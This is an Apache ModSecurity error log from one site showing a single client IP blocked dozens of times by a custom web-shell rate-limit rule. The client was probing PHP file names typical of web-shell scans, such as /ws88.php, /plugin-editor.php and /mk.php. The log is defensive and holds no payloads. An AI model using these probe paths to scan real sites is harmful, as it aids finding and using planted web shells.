[Sat Apr 25 09:59:22.071718 2026] [:error] [pid 44425:tid 44431] [client 51.107.77.218:65177] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aewf-iUl-VlItvY2tR9OtQAAAMQ"]
[Sat Apr 25 09:59:23.175542 2026] [:error] [pid 44320:tid 44356] [client 51.107.77.218:63655] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aewf-zmFqSpku_dij8ibzgAAAEA"]
[Sat Apr 25 09:59:24.283855 2026] [:error] [pid 46083:tid 46087] [client 51.107.77.218:64253] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aewf_Dxw_Zq74vWdjmmVLAAAAQA"]
[Sat Apr 25 09:59:25.249962 2026] [:error] [pid 44425:tid 44438] [client 51.107.77.218:5493] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aewf_SUl-VlItvY2tR9O1AAAAMs"]
[Sat Apr 25 09:59:27.281231 2026] [:error] [pid 46083:tid 46112] [client 51.107.77.218:47524] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aewf_zxw_Zq74vWdjmmVSAAAARg"]
[Sat Apr 25 09:59:28.882008 2026] [:error] [pid 44319:tid 44344] [client 51.107.77.218:5582] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aewgAMzJPAVLUb2pWtJ0gwAAAA8"]
[Sat Apr 25 09:59:29.971523 2026] [:error] [pid 44425:tid 44435] [client 51.107.77.218:5469] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aewgASUl-VlItvY2tR9O4AAAAMg"]
[Sat Apr 25 09:59:30.927436 2026] [:error] [pid 46083:tid 46092] [client 51.107.77.218:47545] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aewgAjxw_Zq74vWdjmmVSwAAAQU"]
[Sat Apr 25 09:59:33.651684 2026] [:error] [pid 46083:tid 46105] [client 51.107.77.218:5385] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aewgBTxw_Zq74vWdjmmVVQAAARI"]
[Sat Apr 25 09:59:34.884164 2026] [:error] [pid 46083:tid 46096] [client 51.107.77.218:64133] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aewgBjxw_Zq74vWdjmmVWQAAAQk"]
[Sat Apr 25 09:59:35.705156 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:63626] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aewgBzxw_Zq74vWdjmmVXAAAAQg"]
[Sat Apr 25 09:59:36.700073 2026] [:error] [pid 44425:tid 44431] [client 51.107.77.218:47523] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aewgCCUl-VlItvY2tR9O5AAAAMQ"]
[Sat Apr 25 09:59:37.374482 2026] [:error] [pid 46083:tid 46094] [client 51.107.77.218:65266] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aewgCTxw_Zq74vWdjmmVYAAAAQc"]
[Sat Apr 25 09:59:38.547881 2026] [:error] [pid 46083:tid 46096] [client 51.107.77.218:65212] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aewgCjxw_Zq74vWdjmmVYwAAAQk"]
[Sat Apr 25 09:59:39.838508 2026] [:error] [pid 46083:tid 46112] [client 51.107.77.218:64652] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aewgCzxw_Zq74vWdjmmVaAAAARg"]
[Sat Apr 25 09:59:40.786111 2026] [:error] [pid 46083:tid 46098] [client 51.107.77.218:63653] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aewgDDxw_Zq74vWdjmmVagAAAQs"]
[Sat Apr 25 09:59:41.882667 2026] [:error] [pid 44321:tid 44404] [client 51.107.77.218:5579] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aewgDY1b5lV-asWa_Y5cJQAAAJU"]
[Sat Apr 25 09:59:43.490906 2026] [:error] [pid 44425:tid 44448] [client 51.107.77.218:47498] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aewgDyUl-VlItvY2tR9O6QAAANU"]
[Sat Apr 25 09:59:44.481424 2026] [:error] [pid 46083:tid 46110] [client 51.107.77.218:5497] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aewgEDxw_Zq74vWdjmmVbgAAARY"]
[Sat Apr 25 09:59:45.709481 2026] [:error] [pid 46083:tid 46087] [client 51.107.77.218:5478] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aewgETxw_Zq74vWdjmmVdQAAAQA"]
[Sat Apr 25 09:59:47.398029 2026] [:error] [pid 46083:tid 46093] [client 51.107.77.218:5427] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aewgEzxw_Zq74vWdjmmVewAAAQY"]
[Sat Apr 25 09:59:48.557626 2026] [:error] [pid 44320:tid 44376] [client 51.107.77.218:47505] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-editor.php"] [unique_id "aewgFDmFqSpku_dij8ib3QAAAFQ"]
[Sat Apr 25 09:59:51.079278 2026] [:error] [pid 44321:tid 44384] [client 51.107.77.218:5464] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-editor.php"] [unique_id "aewgF41b5lV-asWa_Y5cMAAAAIE"]
[Sat Apr 25 09:59:53.298267 2026] [:error] [pid 46083:tid 46091] [client 51.107.77.218:63663] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-editor.php"] [unique_id "aewgGTxw_Zq74vWdjmmVggAAAQQ"]
[Sat Apr 25 09:59:54.560295 2026] [:error] [pid 46083:tid 46104] [client 51.107.77.218:5596] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-editor.php"] [unique_id "aewgGjxw_Zq74vWdjmmVhwAAARE"]
[Sat Apr 25 09:59:56.689510 2026] [:error] [pid 44425:tid 44446] [client 51.107.77.218:63627] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aewgHCUl-VlItvY2tR9O-AAAANM"]
[Sat Apr 25 09:59:57.995296 2026] [:error] [pid 44321:tid 44383] [client 51.107.77.218:60613] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aewgHY1b5lV-asWa_Y5cNgAAAIA"]
[Sat Apr 25 10:00:00.738468 2026] [:error] [pid 46083:tid 46105] [client 51.107.77.218:64657] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aewgIDxw_Zq74vWdjmmVigAAARI"]
[Sat Apr 25 10:00:12.330127 2026] [:error] [pid 46083:tid 46111] [client 51.107.77.218:5452] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aewgLDxw_Zq74vWdjmmVogAAARc"]
[Sat Apr 25 10:00:13.131923 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:64230] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aewgLTxw_Zq74vWdjmmVpQAAAQg"]
[Sat Apr 25 10:00:14.796360 2026] [:error] [pid 44425:tid 44447] [client 51.107.77.218:64721] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aewgLiUl-VlItvY2tR9PHAAAANQ"]
[Sat Apr 25 10:00:16.475700 2026] [:error] [pid 44425:tid 44450] [client 51.107.77.218:64754] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aewgMCUl-VlItvY2tR9PHQAAANc"]
[Sat Apr 25 10:00:17.365966 2026] [:error] [pid 46083:tid 46093] [client 51.107.77.218:5415] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aewgMTxw_Zq74vWdjmmVrwAAAQY"]
[Sat Apr 25 10:00:18.852982 2026] [:error] [pid 46083:tid 46104] [client 51.107.77.218:47496] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aewgMjxw_Zq74vWdjmmVtQAAARE"]
[Sat Apr 25 10:00:20.919045 2026] [:error] [pid 46083:tid 46093] [client 51.107.77.218:5436] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aewgNDxw_Zq74vWdjmmVugAAAQY"]
[Sat Apr 25 10:00:22.638301 2026] [:error] [pid 44425:tid 44431] [client 51.107.77.218:5609] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aewgNiUl-VlItvY2tR9PIgAAAMQ"]
[Sat Apr 25 10:00:24.427818 2026] [:error] [pid 46083:tid 46094] [client 51.107.77.218:5597] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aewgODxw_Zq74vWdjmmVwAAAAQc"]
[Sat Apr 25 10:00:26.335184 2026] [:error] [pid 44319:tid 44344] [client 51.107.77.218:65200] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aewgOszJPAVLUb2pWtJ0mQAAAA8"]
[Sat Apr 25 10:00:29.873278 2026] [:error] [pid 46083:tid 46097] [client 51.107.77.218:61247] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aewgPTxw_Zq74vWdjmmV1AAAAQo"]
[Sat Apr 25 10:00:30.731614 2026] [:error] [pid 44320:tid 44376] [client 51.107.77.218:65248] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aewgPjmFqSpku_dij8ib7AAAAFQ"]
[Sat Apr 25 10:00:32.918721 2026] [:error] [pid 44321:tid 44383] [client 51.107.77.218:5454] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aewgQI1b5lV-asWa_Y5ckQAAAIA"]
[Sat Apr 25 10:00:35.831026 2026] [:error] [pid 44320:tid 44374] [client 51.107.77.218:5474] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aewgQzmFqSpku_dij8ib7QAAAFI"]
[Sat Apr 25 10:00:36.781738 2026] [:error] [pid 44319:tid 44336] [client 51.107.77.218:5482] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aewgRMzJPAVLUb2pWtJ0ngAAAAc"]
[Sat Apr 25 10:00:37.720281 2026] [:error] [pid 44425:tid 44444] [client 51.107.77.218:64193] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aewgRSUl-VlItvY2tR9PNQAAANE"]
[Sat Apr 25 10:00:38.565304 2026] [:error] [pid 44425:tid 44450] [client 51.107.77.218:5613] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aewgRiUl-VlItvY2tR9PNgAAANc"]
[Sat Apr 25 10:00:40.124780 2026] [:error] [pid 44320:tid 44365] [client 51.107.77.218:5602] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aewgSDmFqSpku_dij8ib8AAAAEk"]
[Sat Apr 25 10:00:40.889622 2026] [:error] [pid 44425:tid 44446] [client 51.107.77.218:47501] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aewgSCUl-VlItvY2tR9PPgAAANM"]
[Sat Apr 25 10:00:42.069851 2026] [:error] [pid 46083:tid 46097] [client 51.107.77.218:63624] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aewgSjxw_Zq74vWdjmmV7QAAAQo"]
[Sat Apr 25 10:00:43.912609 2026] [:error] [pid 46083:tid 46109] [client 51.107.77.218:63642] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aewgSzxw_Zq74vWdjmmV7wAAARU"]
[Sat Apr 25 10:00:44.670749 2026] [:error] [pid 46083:tid 46107] [client 51.107.77.218:65191] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aewgTDxw_Zq74vWdjmmV9AAAARM"]
[Sat Apr 25 10:00:45.853392 2026] [:error] [pid 44319:tid 44331] [client 51.107.77.218:63652] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aewgTczJPAVLUb2pWtJ0ogAAAAI"]
[Sat Apr 25 10:00:47.690424 2026] [:error] [pid 46083:tid 46102] [client 51.107.77.218:64749] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aewgTzxw_Zq74vWdjmmWAQAAAQ8"]
[Sat Apr 25 10:00:48.515835 2026] [:error] [pid 44319:tid 44342] [client 51.107.77.218:5488] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aewgUMzJPAVLUb2pWtJ0pAAAAA0"]
[Sat Apr 25 10:00:49.515942 2026] [:error] [pid 46083:tid 46107] [client 51.107.77.218:65206] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aewgUTxw_Zq74vWdjmmWAwAAARM"]
[Sat Apr 25 10:00:50.820310 2026] [:error] [pid 44425:tid 44440] [client 51.107.77.218:63676] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aewgUiUl-VlItvY2tR9PRAAAAM0"]
[Sat Apr 25 10:00:52.176643 2026] [:error] [pid 44425:tid 44451] [client 51.107.77.218:64247] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aewgVCUl-VlItvY2tR9PRwAAANg"]
